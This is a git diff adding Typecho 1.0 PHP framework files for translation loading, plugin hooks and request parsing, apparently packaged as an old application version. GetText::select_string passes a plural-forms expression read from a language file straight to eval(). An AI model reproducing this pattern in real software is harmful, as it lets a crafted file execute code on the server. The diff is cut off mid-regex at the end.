+ } + + /** + * Loads the translation tables from the MO file into the cache + * If caching is enabled, also loads all strings into a cache + * to speed up translation lookups + * + * @access private + */ + private function load_tables() + { + if (is_array($this->cache_translations) && + is_array($this->table_originals) && + is_array($this->table_translations)) + return; + + /* get original and translations tables */ + fseek($this->STREAM, $this->originals); + $this->table_originals = $this->readintarray($this->total * 2); + fseek($this->STREAM, $this->translations); + $this->table_translations = $this->readintarray($this->total * 2); + + if ($this->enable_cache) { + $this->cache_translations = array ('' => NULL); + /* read all strings in the cache */ + for ($i = 0; $i < $this->total; $i++) { + if ($this->table_originals[$i * 2 + 1] > 0) { + fseek($this->STREAM, $this->table_originals[$i * 2 + 2]); + $original = fread($this->STREAM, $this->table_originals[$i * 2 + 1]); + fseek($this->STREAM, $this->table_translations[$i * 2 + 2]); + $translation = fread($this->STREAM, $this->table_translations[$i * 2 + 1]); + $this->cache_translations[$original] = $translation; + } + } + } + } + + /** + * Returns a string from the "originals" table + * + * @access private + * @param int num Offset number of original string + * @return string Requested string if found, otherwise '' + */ + private function get_original_string($num) + { + $length = $this->table_originals[$num * 2 + 1]; + $offset = $this->table_originals[$num * 2 + 2]; + if (! $length) + return ''; + fseek($this->STREAM, $offset); + $data = fread($this->STREAM, $length); + return (string)$data; + } + + /** + * Returns a string from the "translations" table + * + * @access private + * @param int num Offset number of original string + * @return string Requested string if found, otherwise '' + */ + private function get_translation_string($num) + { + $length = $this->table_translations[$num * 2 + 1]; + $offset = $this->table_translations[$num * 2 + 2]; + if (! $length) + return ''; + fseek($this->STREAM, $offset); + $data = fread($this->STREAM, $length); + return (string)$data; + } + + /** + * Binary search for string + * + * @access private + * @param string string + * @param int start (internally used in recursive function) + * @param int end (internally used in recursive function) + * @return int string number (offset in originals table) + */ + private function find_string($string, $start = -1, $end = -1) + { + if (($start == -1) or ($end == -1)) { + // find_string is called with only one parameter, set start end end + $start = 0; + $end = $this->total; + } + if (abs($start - $end) <= 1) { + // We're done, now we either found the string, or it doesn't exist + $txt = $this->get_original_string($start); + if ($string == $txt) + return $start; + else + return -1; + } else if ($start > $end) { + // start > end -> turn around and start over + return $this->find_string($string, $end, $start); + } else { + // Divide table in two parts + $half = (int)(($start + $end) / 2); + $cmp = strcmp($string, $this->get_original_string($half)); + if ($cmp == 0) + // string is exactly in the middle => return it + return $half; + else if ($cmp < 0) + // The string is in the upper half + return $this->find_string($string, $start, $half); + else + // The string is in the lower half + return $this->find_string($string, $half, $end); + } + } + + /** + * Translates a string + * + * @access public + * @param string string to be translated + * @param integer $num found string number + * @return string translated string (or original, if not found) + */ + public function translate($string, &$num) + { + if ($this->short_circuit) + return $string; + $this->load_tables(); + + if ($this->enable_cache) { + // Caching enabled, get translated string from cache + if (array_key_exists($string, $this->cache_translations)) + return $this->cache_translations[$string]; + else + return $string; + } else { + // Caching not enabled, try to find string + $num = $this->find_string($string); + if ($num == -1) + return $string; + else + return $this->get_translation_string($num); + } + } + + /** + * Get possible plural forms from MO header + * + * @access private + * @return string plural form header + */ + private function get_plural_forms() + { + // lets assume message number 0 is header + // this is true, right? + $this->load_tables(); + + // cache header field for plural forms + if (! is_string($this->pluralheader)) { + if ($this->enable_cache) { + $header = $this->cache_translations[""]; + } else { + $header = $this->get_translation_string(0); + } + if (preg_match("/plural\-forms: ([^\n]*)\n/i", $header, $regs)) + $expr = $regs[1]; + else + $expr = "nplurals=2; plural=n == 1 ? 0 : 1;"; + $this->pluralheader = $expr; + } + return $this->pluralheader; + } + + /** + * Detects which plural form to take + * + * @access private + * @param n count + * @return int array index of the right plural form + */ + private function select_string($n) + { + $string = $this->get_plural_forms(); + $string = str_replace('nplurals',"\$total",$string); + $string = str_replace("n",$n,$string); + $string = str_replace('plural',"\$plural",$string); + + $total = 0; + $plural = 0; + + eval("$string"); + if ($plural >= $total) $plural = $total - 1; + return $plural; + } + + /** + * Plural version of gettext + * + * @access public + * @param string single + * @param string plural + * @param string number + * @param integer $num found string number + * @return translated plural form + */ + public function ngettext($single, $plural, $number, &$num) + { + if ($this->short_circuit) { + if ($number != 1) + return $plural; + else + return $single; + } + + // find out the appropriate form + $select = $this->select_string($number); + + // this should contains all strings separated by NULLs + $key = $single.chr(0).$plural; + + + if ($this->enable_cache) { + if (! array_key_exists($key, $this->cache_translations)) { + return ($number != 1) ? $plural : $single; + } else { + $result = $this->cache_translations[$key]; + $list = explode(chr(0), $result); + return $list[$select]; + } + } else { + $num = $this->find_string($key); + if ($num == -1) { + return ($number != 1) ? $plural : $single; + } else { + $result = $this->get_translation_string($num); + $list = explode(chr(0), $result); + return $list[$select]; + } + } + } + + /** + * 关闭文件句柄 + * + * @access public + * @return void + */ + public function __destruct() + { + fclose($this->STREAM); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/I18n/GetTextMulti.php b/Typecho/1.0/php-fpm/src/var/Typecho/I18n/GetTextMulti.php new file mode 100755 index 000000000..0f246c5bc --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/I18n/GetTextMulti.php @@ -0,0 +1,105 @@ +addFile($fileName); + } + + /** + * 增加一个语言文件 + * + * @access public + * @param string $fileName 语言文件名 + * @return void + */ + public function addFile($fileName) + { + $this->_handles[] = new Typecho_I18n_GetText($fileName, true); + } + + /** + * Translates a string + * + * @access public + * @param string string to be translated + * @return string translated string (or original, if not found) + */ + public function translate($string) + { + foreach ($this->_handles as $handle) { + $string = $handle->translate($string, $count); + if (-1 != $count) { + break; + } + } + + return $string; + } + + /** + * Plural version of gettext + * + * @access public + * @param string single + * @param string plural + * @param string number + * @return translated plural form + */ + public function ngettext($single, $plural, $number) + { + foreach ($this->_handles as $handle) { + $string = $handle->ngettext($single, $plural, $number, $count); + if (-1 != $count) { + break; + } + } + + return $string; + } + + /** + * 关闭所有句柄 + * + * @access public + * @return void + */ + public function __destruct() + { + foreach ($this->_handles as $handle) { + /** 显示的释放内存 */ + unset($handle); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Plugin.php b/Typecho/1.0/php-fpm/src/var/Typecho/Plugin.php new file mode 100755 index 000000000..bf06feb85 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Plugin.php @@ -0,0 +1,495 @@ +_handle = $handle; + } + + /** + * 插件handle比对 + * + * @access private + * @param array $pluginHandles + * @param array $otherPluginHandles + * @return void + */ + private static function pluginHandlesDiff(array $pluginHandles, array $otherPluginHandles) + { + foreach ($otherPluginHandles as $handle) { + while (false !== ($index = array_search($handle, $pluginHandles))) { + unset($pluginHandles[$index]); + } + } + + return $pluginHandles; + } + + /** + * 插件初始化 + * + * @access public + * @param array $plugins 插件列表 + * @param mixed $callback 获取插件系统变量的代理函数 + * @return void + */ + public static function init(array $plugins) + { + $plugins['activated'] = array_key_exists('activated', $plugins) ? $plugins['activated'] : array(); + $plugins['handles'] = array_key_exists('handles', $plugins) ? $plugins['handles'] : array(); + + /** 初始化变量 */ + self::$_plugins = $plugins; + } + + /** + * 获取实例化插件对象 + * + * @access public + * @return Typecho_Plugin + */ + public static function factory($handle) + { + return isset(self::$_instances[$handle]) ? self::$_instances[$handle] : + (self::$_instances[$handle] = new Typecho_Plugin($handle)); + } + + /** + * 启用插件 + * + * @access public + * @param string $pluginName 插件名称 + * @return void + */ + public static function activate($pluginName) + { + self::$_plugins['activated'][$pluginName] = self::$_tmp; + self::$_tmp = array(); + } + + /** + * 禁用插件 + * + * @access public + * @param string $pluginName 插件名称 + * @return void + */ + public static function deactivate($pluginName) + { + /** 去掉所有相关回调函数 */ + if (isset(self::$_plugins['activated'][$pluginName]['handles']) && is_array(self::$_plugins['activated'][$pluginName]['handles'])) { + foreach (self::$_plugins['activated'][$pluginName]['handles'] as $handle => $handles) { + self::$_plugins['handles'][$handle] = self::pluginHandlesDiff( + empty(self::$_plugins['handles'][$handle]) ? array() : self::$_plugins['handles'][$handle], + empty($handles) ? array() : $handles); + if (empty(self::$_plugins['handles'][$handle])) { + unset(self::$_plugins['handles'][$handle]); + } + } + } + + /** 禁用当前插件 */ + unset(self::$_plugins['activated'][$pluginName]); + } + + /** + * 导出当前插件设置 + * + * @access public + * @return array + */ + public static function export() + { + return self::$_plugins; + } + + /** + * 获取插件文件的头信息 + * + * @access public + * @param string $pluginFile 插件文件路径 + * @return array + */ + public static function parseInfo($pluginFile) + { + $tokens = token_get_all(file_get_contents($pluginFile)); + $isDoc = false; + $isFunction = false; + $isClass = false; + $isInClass = false; + $isInFunction = false; + $isDefined = false; + $current = NULL; + + /** 初始信息 */ + $info = array( + 'description' => '', + 'title' => '', + 'author' => '', + 'homepage' => '', + 'version' => '', + 'dependence' => '', + 'activate' => false, + 'deactivate' => false, + 'config' => false, + 'personalConfig' => false + ); + + $map = array( + 'package' => 'title', + 'author' => 'author', + 'link' => 'homepage', + 'dependence'=> 'dependence', + 'version' => 'version' + ); + + foreach ($tokens as $token) { + /** 获取doc comment */ + if (!$isDoc && is_array($token) && T_DOC_COMMENT == $token[0]) { + + /** 分行读取 */ + $described = false; + $lines = preg_split("(\r|\n)", $token[1]); + foreach ($lines as $line) { + $line = trim($line); + if (!empty($line) && '*' == $line[0]) { + $line = trim(substr($line, 1)); + if (!$described && !empty($line) && '@' == $line[0]) { + $described = true; + } + + if (!$described && !empty($line)) { + $info['description'] .= $line . "\n"; + } else if ($described && !empty($line) && '@' == $line[0]) { + $info['description'] = trim($info['description']); + $line = trim(substr($line, 1)); + $args = explode(' ', $line); + $key = array_shift($args); + + if (isset($map[$key])) { + $info[$map[$key]] = trim(implode(' ', $args)); + } + } + } + } + + $isDoc = true; + } + + if (is_array($token)) { + switch ($token[0]) { + case T_FUNCTION: + $isFunction = true; + break; + case T_IMPLEMENTS: + $isClass = true; + break; + case T_WHITESPACE: + case T_COMMENT: + case T_DOC_COMMENT: + break; + case T_STRING: + $string = strtolower($token[1]); + switch ($string) { + case 'typecho_plugin_interface': + $isInClass = $isClass; + break; + case 'activate': + case 'deactivate': + case 'config': + case 'personalconfig': + if ($isFunction) { + $current = ('personalconfig' == $string ? 'personalConfig' : $string); + } + break; + default: + if (!empty($current) && $isInFunction && $isInClass) { + $info[$current] = true; + } + break; + } + break; + default: + if (!empty($current) && $isInFunction && $isInClass) { + $info[$current] = true; + } + break; + } + } else { + $token = strtolower($token); + switch ($token) { + case '{': + if ($isDefined) { + $isInFunction = true; + } + break; + case '(': + if ($isFunction && !$isDefined) { + $isDefined = true; + } + break; + case '}': + case ';': + $isDefined = false; + $isFunction = false; + $isInFunction = false; + $current = NULL; + break; + default: + if (!empty($current) && $isInFunction && $isInClass) { + $info[$current] = true; + } + break; + } + } + } + + return $info; + } + + /** + * 获取插件路径和类名 + * 返回值为一个数组 + * 第一项为插件路径,第二项为类名 + * + * @access public + * @param string $pluginName 插件名 + * @param string $path 插件目录 + * @return array + */ + public static function portal($pluginName, $path) + { + switch (true) { + case file_exists($pluginFileName = $path . '/' . $pluginName . '/Plugin.php'): + $className = $pluginName . '_Plugin'; + break; + case file_exists($pluginFileName = $path . '/' . $pluginName . '.php'): + $className = $pluginName; + break; + default: + throw new Typecho_Plugin_Exception('Missing Plugin ' . $pluginName, 404); + } + + return array($pluginFileName, $className); + } + + /** + * 版本依赖性检测 + * + * @access public + * @param string $version 程序版本 + * @param string $versionRange 依赖的版本规则 + * @return boolean + */ + public static function checkDependence($version, $versionRange) + { + //如果没有检测规则,直接掠过 + if (empty($versionRange)) { + return true; + } + + $items = array_map('trim', explode('-', $versionRange)); + if (count($items) < 2) { + $items[1] = $items[0]; + } + + list ($minVersion, $maxVersion) = $items; + + //对*和?的支持,4个9是最大版本 + $minVersion = str_replace(array('*', '?'), array('9999', '9'), $minVersion); + $maxVersion = str_replace(array('*', '?'), array('9999', '9'), $maxVersion); + + if (version_compare($version, $minVersion, '>=') && version_compare($version, $maxVersion, '<=')) { + return true; + } + + return false; + } + + /** + * 插件调用后的触发器 + * + * @access public + * @param boolean $signal 触发器 + * @return Typecho_Plugin + */ + public function trigger(&$signal) + { + $signal = false; + $this->_signal = &$signal; + return $this; + } + + /** + * 判断插件是否存在 + * + * @access public + * @param string $pluginName 插件名称 + * @return void + */ + public function exists($pluginName) { + return array_search($pluginName, self::$_plugins['activated']); + } + + /** + * 设置回调函数 + * + * @access public + * @param string $component 当前组件 + * @param mixed $value 回调函数 + * @return void + */ + public function __set($component, $value) + { + $weight = 0; + + if (strpos($component, '_') > 0) { + $parts = explode('_', $component, 2); + list($component, $weight) = $parts; + $weight = intval($weight) - 10; + } + + $component = $this->_handle . ':' . $component; + + if (!isset(self::$_plugins['handles'][$component])) { + self::$_plugins['handles'][$component] = array(); + } + + if (!isset(self::$_tmp['handles'][$component])) { + self::$_tmp['handles'][$component] = array(); + } + + foreach (self::$_plugins['handles'][$component] as $key => $val) { + $key = floatval($key); + + if ($weight > $key) { + break; + } else if ($weight == $key) { + $weight += 0.001; + } + } + + self::$_plugins['handles'][$component][strval($weight)] = $value; + self::$_tmp['handles'][$component][] = $value; + + ksort(self::$_plugins['handles'][$component], SORT_NUMERIC); + } + + /** + * 通过魔术函数设置当前组件位置 + * + * @access public + * @param string $component 当前组件 + * @return Typecho_Plugin + */ + public function __get($component) + { + $this->_component = $component; + return $this; + } + + /** + * 回调处理函数 + * + * @access public + * @param string $component 当前组件 + * @param string $args 参数 + * @return mixed + */ + public function __call($component, $args) + { + $component = $this->_handle . ':' . $component; + $last = count($args); + $args[$last] = $last > 0 ? $args[0] : false; + + if (isset(self::$_plugins['handles'][$component])) { + $args[$last] = NULL; + $this->_signal = true; + foreach (self::$_plugins['handles'][$component] as $callback) { + $args[$last] = call_user_func_array($callback, $args); + } + } + + return $args[$last]; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Plugin/Exception.php b/Typecho/1.0/php-fpm/src/var/Typecho/Plugin/Exception.php new file mode 100755 index 000000000..617c75e93 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Plugin/Exception.php @@ -0,0 +1,17 @@ + 'intval', + 'integer' => 'intval', + 'search' => array('Typecho_Common', 'filterSearchQuery'), + 'xss' => array('Typecho_Common', 'removeXSS'), + 'url' => array('Typecho_Common', 'safeUrl'), + 'slug' => array('Typecho_Common', 'slugName') + ); + + /** + * 获取单例句柄 + * + * @access public + * @return Typecho_Request + */ + public static function getInstance() + { + if (NULL === self::$_instance) { + self::$_instance = new Typecho_Request(); + } + + return self::$_instance; + } + + /** + * 应用过滤器 + * + * @access private + * @param mixed $value + * @return mixed + */ + private function _applyFilter($value) + { + if ($this->_filter) { + foreach ($this->_filter as $filter) { + $value = is_array($value) ? array_map($filter, $value) : + call_user_func($filter, $value); + } + + $this->_filter = array(); + } + + return $value; + } + + /** + * 检查ip地址是否合法 + * + * @param string $ip ip地址 + * @return boolean + */ + private function _checkIp($ip) + { + if (__TYPECHO_FILTER_SUPPORTED__) { + return false !== (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) + || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)); + } + + return preg_match("/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/", $ip) + || preg_match("/^[0-9a-f:]+$/i", $ip); + } + + /** + * 检查ua是否合法 + * + * @param $agent ua字符串 + * @return boolean + */ + private function _checkAgent($agent) + { + return preg_match("/^[_a-z0-9- ,:;=#@\.\(\)\/\+\*\?]+$/i", $agent); + } + + /** + * 初始化变量 + */ + public function __construct() + { + if (false === self::$_httpParams) { + self::$_httpParams = array_filter(array_merge($_POST, $_GET), + array('Typecho_Common', 'checkStrEncoding')); + } + } + + /** + * 获取url前缀 + * + * @access public + * @return string + */ + public static function getUrlPrefix() + { + if (empty(self::$_urlPrefix)) { + self::$_urlPrefix = (self::isSecure() ? 'https' : 'http') + . '://' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) + . (in_array($_SERVER['SERVER_PORT'], array(80, 443)) ? '' : ':' . $_SERVER['SERVER_PORT']); + } + + return self::$_urlPrefix; + } + + /** + * 判断是否为https + * + * @access public + * @return boolean + */ + public static function isSecure() + { + return (!empty($_SERVER['HTTPS']) && 'off' != strtolower($_SERVER['HTTPS'])) + || (!empty($_SERVER['SERVER_PORT']) && 443 == $_SERVER['SERVER_PORT']) + || (defined('__TYPECHO_SECURE__') && __TYPECHO_SECURE__); + } + + /** + * 设置过滤器 + * + * @access public + * @return Typecho_Request + */ + public function filter() + { + $filters = func_get_args(); + + foreach ($filters as $filter) { + $this->_filter[] = is_string($filter) && isset(self::$_supportFilters[$filter]) + ? self::$_supportFilters[$filter] : $filter; + } + + return $this; + } + + /** + * 获取实际传递参数(magic) + * + * @access public + * @param string $key 指定参数 + * @return mixed + */ + public function __get($key) + { + return $this->get($key); + } + + /** + * 判断参数是否存在 + * + * @access public + * @param string $key 指定参数 + * @return boolean + */ + public function __isset($key) + { + return isset(self::$_httpParams[$key]) + || isset($this->_params[$key]); + } + + /** + * 获取实际传递参数 + * + * @access public + * @param string $key 指定参数 + * @param mixed $default 默认参数 (default: NULL) + * @return mixed + */ + public function get($key, $default = NULL) + { + switch (true) { + case isset($this->_params[$key]): + $value = $this->_params[$key]; + break; + case isset(self::$_httpParams[$key]): + $value = self::$_httpParams[$key]; + break; + default: + $value = $default; + break; + } + + $value = !is_array($value) && strlen($value) > 0 ? $value : $default; + return $this->_applyFilter($value); + } + + /** + * 获取一个数组 + * + * @param $key + * @return array + */ + public function getArray($key) + { + $result = isset($this->_params[$key]) ? $this->_params[$key] : + (isset(self::$_httpParams[$key]) ? self::$_httpParams[$key] : array()); + + $result = is_array($result) ? $result + : (strlen($result) > 0 ? array($result) : array()); + return $this->_applyFilter($result); + } + + /** + * 从参数列表指定的值中获取http传递参数 + * + * @access public + * @param mixed $params 指定的参数 + * @return array + */ + public function from($params) + { + $result = array(); + $args = is_array($params) ? $params : func_get_args(); + + foreach ($args as $arg) { + $result[$arg] = $this->get($arg); + } + + return $result; + } + + /** + * 设置http传递参数 + * + * @access public + * @param string $name 指定的参数 + * @param mixed $value 参数值 + * @return void + */ + public function setParam($name, $value) + { + if (Typecho_Common::checkStrEncoding($value)) { + $this->_params[$name] = $value; + } + } + + /** + * 设置多个参数 + * + * @access public + * @param mixed $params 参数列表 + * @return void + */ + public function setParams($params) + { + //处理字符串 + if (!is_array($params)) { + parse_str($params, $out); + $params = $out; + } + + $this->_params = array_merge($this->_params, + array_filter($params, array('Typecho_Common', 'checkStrEncoding'))); + } + + /** + * getRequestRoot + * + * @access public + * @return string + */ + public function getRequestRoot() + { + if (NULL === $this->_requestRoot) { + $root = rtrim(self::getUrlPrefix() . $this->getBaseUrl(), '/') . '/'; + + $pos = strrpos($root, '.php/'); + if ($pos) { + $root = dirname(substr($root, 0, $pos)); + } + + $this->_requestRoot = rtrim($root, '/'); + } + + return $this->_requestRoot; + } + + /** + * 获取当前请求url + * + * @access public + * @return string + */ + public function getRequestUrl() + { + return self::getUrlPrefix() . $this->getRequestUri(); + } + + /** + * 获取请求地址 + * + * @access public + * @return string + */ + public function getRequestUri() + { + if (!empty($this->_requestUri)) { + return $this->_requestUri; + } + + //处理requestUri + $requestUri = '/'; + + if (isset($_SERVER['HTTP_X_REWRITE_URL'])) { // check this first so IIS will catch + $requestUri = $_SERVER['HTTP_X_REWRITE_URL']; + } elseif ( + // IIS7 with URL Rewrite: make sure we get the unencoded url (double slash problem) + isset($_SERVER['IIS_WasUrlRewritten']) + && $_SERVER['IIS_WasUrlRewritten'] == '1' + && isset($_SERVER['UNENCODED_URL']) + && $_SERVER['UNENCODED_URL'] != '' + ) { + $requestUri = $_SERVER['UNENCODED_URL']; + } elseif (isset($_SERVER['REQUEST_URI'])) { + $requestUri = $_SERVER['REQUEST_URI']; + if (isset($_SERVER['HTTP_HOST']) && strstr($requestUri, $_SERVER['HTTP_HOST'])) { + $parts = @parse_url($requestUri); + + if (false !== $parts) { + $requestUri = (empty($parts['path']) ? '' : $parts['path']) + . ((empty($parts['query'])) ? '' : '?' . $parts['query']); + } + } + } elseif (isset($_SERVER['ORIG_PATH_INFO'])) { // IIS 5.0, PHP as CGI + $requestUri = $_SERVER['ORIG_PATH_INFO']; + if (!empty($_SERVER['QUERY_STRING'])) { + $requestUri .= '?' . $_SERVER['QUERY_STRING']; + } + } + + return $this->_requestUri = $requestUri; + } + + /** + * getBaseUrl + * + * @access public + * @return string + */ + public function getBaseUrl() + { + if (NULL !== $this->_baseUrl) { + return $this->_baseUrl; + } + + //处理baseUrl + $filename = (isset($_SERVER['SCRIPT_FILENAME'])) ? basename($_SERVER['SCRIPT_FILENAME']) : ''; + + if (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === $filename) { + $baseUrl = $_SERVER['SCRIPT_NAME']; + } elseif (isset($_SERVER['PHP_SELF']) && basename($_SERVER['PHP_SELF']) === $filename) { + $baseUrl = $_SERVER['PHP_SELF']; + } elseif (isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === $filename) { + $baseUrl = $_SERVER['ORIG_SCRIPT_NAME']; // 1and1 shared hosting compatibility + } else { + // Backtrack up the script_filename to find the portion matching + // php_self + $path = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : ''; + $file = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : ''; + $segs = explode('/', trim($file, '/')); + $segs = array_reverse($segs); + $index = 0; + $last = count($segs); + $baseUrl = ''; + do { + $seg = $segs[$index]; + $baseUrl = '/' . $seg . $baseUrl; + ++$index; + } while (($last > $index) && (false !== ($pos = strpos($path, $baseUrl))) && (0 != $pos)); + } + + // Does the baseUrl have anything in common with the request_uri? + $finalBaseUrl = NULL; + $requestUri = $this->getRequestUri(); + + if (0 === strpos($requestUri, $baseUrl)) { + // full $baseUrl matches + $finalBaseUrl = $baseUrl; + } else if (0 === strpos($requestUri, dirname($baseUrl))) { + // directory portion of $baseUrl matches + $finalBaseUrl = rtrim(dirname($baseUrl), '/'); + } else if (!strpos($requestUri, basename($baseUrl))) { + // no match whatsoever; set it blank + $finalBaseUrl = ''; + } else if ((strlen($requestUri) >= strlen($baseUrl)) + && ((false !== ($pos = strpos($requestUri, $baseUrl))) && ($pos !== 0))) + { + // If using mod_rewrite or ISAPI_Rewrite strip the script filename + // out of baseUrl. $pos !== 0 makes sure it is not matching a value + // from PATH_INFO or QUERY_STRING + $baseUrl = substr($requestUri, 0, $pos + strlen($baseUrl)); + } + + return ($this->_baseUrl = (NULL === $finalBaseUrl) ? rtrim($baseUrl, '/') : $finalBaseUrl); + } + + /** + * 根据当前uri构造指定参数的uri + * + * @access public + * @param mixed $parameter 指定的参数 + * @return string + */ + public function makeUriByRequest($parameter = NULL) + { + /** 初始化地址 */ + $requestUri = $this->getRequestUrl(); + $parts = parse_url($requestUri); + + /** 初始化参数 */ + if (is_string($parameter)) { + parse_str($parameter, $args); + } else if (is_array($parameter)) { + $args = $parameter; + } else { + return $requestUri; + } + + /** 构造query */ + if (isset($parts['query'])) { + parse_str($parts['query'], $currentArgs); + $args = array_merge($currentArgs, $args); + } + $parts['query'] = http_build_query($args); + + /** 返回地址 */ + return Typecho_Common::buildUrl($parts); + } + + /** + * 获取当前pathinfo + * + * @access public + * @param string $inputEncoding 输入编码 + * @param string $outputEncoding 输出编码 + * @return string + */ + public function getPathInfo($inputEncoding = NULL, $outputEncoding = NULL) + { + /** 缓存信息 */ + if (NULL !== $this->_pathInfo) { + return $this->_pathInfo; + } + + //参考Zend Framework对pahtinfo的处理, 更好的兼容性 + $pathInfo = NULL; + + //处理requestUri + $requestUri = $this->getRequestUri(); + $finalBaseUrl = $this->getBaseUrl(); + + // Remove the query string from REQUEST_URI + if ($pos = strpos($requestUri, '?')) { + $requestUri = substr($requestUri, 0, $pos); + } + + if ((NULL !== $finalBaseUrl) + && (false === ($pathInfo = substr($requestUri, strlen($finalBaseUrl))))) + { + // If substr() returns false then PATH_INFO is set to an empty string + $pathInfo = '/'; + } elseif (NULL === $finalBaseUrl) { + $pathInfo = $requestUri; + } + + if (!empty($pathInfo)) { + //针对iis的utf8编码做强制转换 + //参考http://docs.moodle.org/ja/%E5%A4%9A%E8%A8%80%E8%AA%9E%E5%AF%BE%E5%BF%9C%EF%BC%9A%E3%82%B5%E3%83%BC%E3%83%90%E3%81%AE%E8%A8%AD%E5%AE%9A + if (!empty($inputEncoding) && !empty($outputEncoding) && + (stripos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false + || stripos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false)) { + if (function_exists('mb_convert_encoding')) { + $pathInfo = mb_convert_encoding($pathInfo, $outputEncoding, $inputEncoding); + } else if (function_exists('iconv')) { + $pathInfo = iconv($pathInfoEncoding, $outputEncoding, $pathInfo); + } + } + } else { + $pathInfo = '/'; + } + + // fix issue 456 + return ($this->_pathInfo = '/' . ltrim(urldecode($pathInfo), '/')); + } + + /** + * 设置服务端参数 + * + * @access public + * @param string $name 参数名称 + * @param mixed $value 参数值 + * @return void + */ + public function setServer($name, $value = NULL) + { + if (NULL == $value) { + if (isset($_SERVER[$name])) { + $value = $_SERVER[$name]; + } else if (isset($_ENV[$name])) { + $value = $_ENV[$name]; + } + } + + $this->_server[$name] = $value; + } + + /** + * 获取环境变量 + * + * @access public + * @param string $name 获取环境变量名 + * @return string + */ + public function getServer($name) + { + if (!isset($this->_server[$name])) { + $this->setServer($name); + } + + return $this->_server[$name]; + } + + /** + * 设置ip地址 + * + * @access public + * @param string $ip + */ + public function setIp($ip = NULL) + { + if (!empty($ip)) { + $this->_ip = $ip; + } else { + switch (true) { + case defined('__TYPECHO_IP_SOURCE__') && NULL !== $this->getServer(__TYPECHO_IP_SOURCE__): + list($this->_ip) = array_map('trim', explode(',', $this->getServer(__TYPECHO_IP_SOURCE__))); + break; + case NULL !== $this->getServer('REMOTE_ADDR'): + $this->_ip = $this->getServer('REMOTE_ADDR'); + break; + case NULL !== $this->getServer('HTTP_CLIENT_IP'): + $this->_ip = $this->getServer('HTTP_CLIENT_IP'); + break; + default: + break; + } + } + + if (empty($this->_ip) || !self::_checkIp($this->_ip)) { + $this->_ip = 'unknown'; + } + } + + /** + * 获取ip地址 + * + * @access public + * @return string + */ + public function getIp() + { + if (NULL === $this->_ip) { + $this->setIp(); + } + + return $this->_ip; + } + + /** + * 设置客户端 + * + * @access public + * @param string $agent 客户端字符串 + * @return void + */ + public function setAgent($agent = NULL) + { + $agent = (NULL === $agent) ? $this->getServer('HTTP_USER_AGENT') : $agent; + $this->_agent = self::_checkAgent($agent) ? $agent : ''; + } + + /** + * 获取客户端 + * + * @access public + * @return string + */ + public function getAgent() + { + if (NULL === $this->_agent) { + $this->setAgent(); + } + + return $this->_agent; + } + + /** + * 设置来源页 + * + * @access public + * @param string $referer 客户端字符串 + * @return void + */ + public function setReferer($referer = NULL) + { + $this->_referer = (NULL === $referer) ? $this->getServer('HTTP_REFERER') : $referer; + } + + /** + * 获取客户端 + * + * @access public + * @return string + */ + public function getReferer() + { + if (NULL === $this->_referer) { + $this->setReferer(); + } + + return $this->_referer; + } + + /** + * 判断是否为get方法 + * + * @access public + * @return boolean + */ + public function isGet() + { + return 'GET' == $this->getServer('REQUEST_METHOD'); + } + + /** + * 判断是否为post方法 + * + * @access public + * @return boolean + */ + public function isPost() + { + return 'POST' == $this->getServer('REQUEST_METHOD'); + } + + /** + * 判断是否为put方法 + * + * @access public + * @return boolean + */ + public function isPut() + { + return 'PUT' == $this->getServer('REQUEST_METHOD'); + } + + /** + * 判断是否为ajax + * + * @access public + * @return boolean + */ + public function isAjax() + { + return 'XMLHttpRequest' == $this->getServer('HTTP_X_REQUESTED_WITH'); + } + + /** + * 判断是否为flash + * + * @access public + * @return boolean + */ + public function isFlash() + { + return 'Shockwave Flash' == $this->getServer('USER_AGENT'); + } + + /** + * isMobile + * + * @static + * @access public + * @return boolean + */ + public function isMobile() + { + $userAgent = $this->getAgent(); + return preg_match('/android.+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i',$userAgent) || preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 